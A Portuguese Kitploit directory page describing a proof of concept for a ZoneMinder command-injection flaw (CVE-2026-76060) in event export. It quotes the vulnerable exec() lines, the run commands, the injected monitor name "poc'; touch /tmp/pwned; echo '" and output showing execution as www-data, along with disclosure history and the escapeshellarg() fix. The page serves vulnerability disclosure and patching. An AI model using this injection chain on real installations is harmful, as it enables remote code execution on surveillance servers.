Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-76060_ZoneMinder_CommandInjection-PoC — Prova de conceito de exploit para CVE-2026-76060, uma injeção de comandos do sistema operacional na exportação de eventos do ZoneMinder, demonstrando RCE por meio de nomes de monitores manipulados. | Kitploit
Ferramentas/GitHubGitHub/investigato/cve-2026-76060_zoneminder_commandinjection-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed Teaming
GitHubinvestigato/cve-2026-76060_zoneminder_commandinjection-poc

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

Prova de conceito de exploit para CVE-2026-76060, uma injeção de comandos do sistema operacional na exportação de eventos do ZoneMinder, demonstrando RCE por meio de nomes de monitores manipulados.

Ver Repositório
11há 7h 29mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

just wait and see

Prova de conceito para uma vulnerabilidade de injeção de comandos no sistema operacional na funcionalidade de exportação de eventos do ZoneMinder (web/includes/download_functions.php).

Os nomes dos monitores são interpolados diretamente em comandos shell usando encapsulamento manual com aspas simples em vez de escapeshellarg(). Um atacante que consiga criar um monitor pode injetar comandos shell arbitrários que são executados como www-data/quem quer que seja o usuário do processo quando qualquer usuário aciona uma exportação de evento.

Causas subjacentes

  • Commit 44c5c3c de 4 de outubro de 2023 — é aqui que o arquivo download_functions.php foi introduzido. A mensagem do commit é "Introduce new download mode that concats event videos into 1 file per monitor." O código vulnerável está presente aqui, mas exigia que um administrador criasse o monitor primeiro.
  • Commit 2d49e93 de 2 de janeiro de 2024 — "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." É aqui que as coisas mudam um pouco. Agora, um usuário com apenas pode configurar o nome do monitor para o ataque, e qualquer usuário com permissões de exportação pode acioná-lo.
Monitors=Create

Versões afetadas: >= 1.37.48 (contém as alterações de migração SQL) e <= 1.38.1 O branch 1.36.x não é afetado.

Como funciona

Dois usuários. Dois níveis de privilégio. Um shell.

  • medpriv tem Monitors=Create ou Monitors=Edit se já existir um monitor lá.
  • lowpriv tem acesso suficiente apenas para acionar uma exportação de evento. Puxa o gatilho sem saber.

O registro do evento não precisa ser criado manualmente. O ZoneMinder é um sistema de câmeras... ele cria registros de eventos automaticamente conforme as câmeras operam. Em uma implantação real, o passo de configuração é: criar o monitor e ir embora.

Dois sinks, uma fonte

O nome do monitor sem sanitização chega a duas chamadas exec() separadas:

Linha 126 | ffmpeg:

root@kitploit:~
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Linha 150 | tar/zip:

root@kitploit:~
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Ambas são alcançáveis a partir do mesmo nome de monitor cuidadosamente elaborado, independentemente do formato de exportação.

Requisitos

  • Docker
  • Docker Compose

Uso

root@kitploit:~
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# aguarde o ZoneMinder terminar a inicialização (~30 segundos)
uv run poc.py

O init.sql inicializa o banco de dados com autenticação habilitada e dois usuários:

  • medpriv com direitos de criação de monitores (e, por questões de tempo, também direitos de criação de eventos, mas isso não é necessário em produção)
  • lowpriv com acesso apenas à exportação de eventos

uv run poc.py executa toda a cadeia:

  1. medpriv autentica via API e cria um monitor chamado poc'; touch /tmp/pwned; echo '
  2. medpriv cria um registro de evento para acelerar a demonstração (em produção, o ZoneMinder faz isso automaticamente)
  3. lowpriv autentica e aciona uma exportação de evento
  4. O script verifica /tmp/pwned dentro do contêiner e imprime o resultado

Saída esperada:

root@kitploit:~
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

  • 3.1: 8.8 (Alto):AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 4.0: 8.7 (Alto):AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

De qualquer forma, no mínimo escapeshellarg() não custa nada.

Divulgação

  • 03/08/2026: Reportado via e-mail de contato de segurança do ZoneMinder
  • 03/09/2026: Corrigido no commit b3a7c05
  • 06/08/2026: Divulgação pública

[!NOTE] Corrigido em 12 horas após o relato. Sem reconhecimento do mantenedor de que isso é um problema de segurança. Discordo. Atualizado em 27/08/26 — O mantenedor reconheceu o relato e o CVE foi emitido.

Correção

Aplique escapeshellarg() em ambos os pontos de injeção, no mínimo:

root@kitploit:~
// Linha 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Linha 150
$command .= ' '.escapeshellarg($mergedFileName);

As linhas 116 e 211 em generateFileList() têm o mesmo padrão.


Descoberto por (@investigato)
Artigo completo: scriptkittens.com

Baixar ferramenta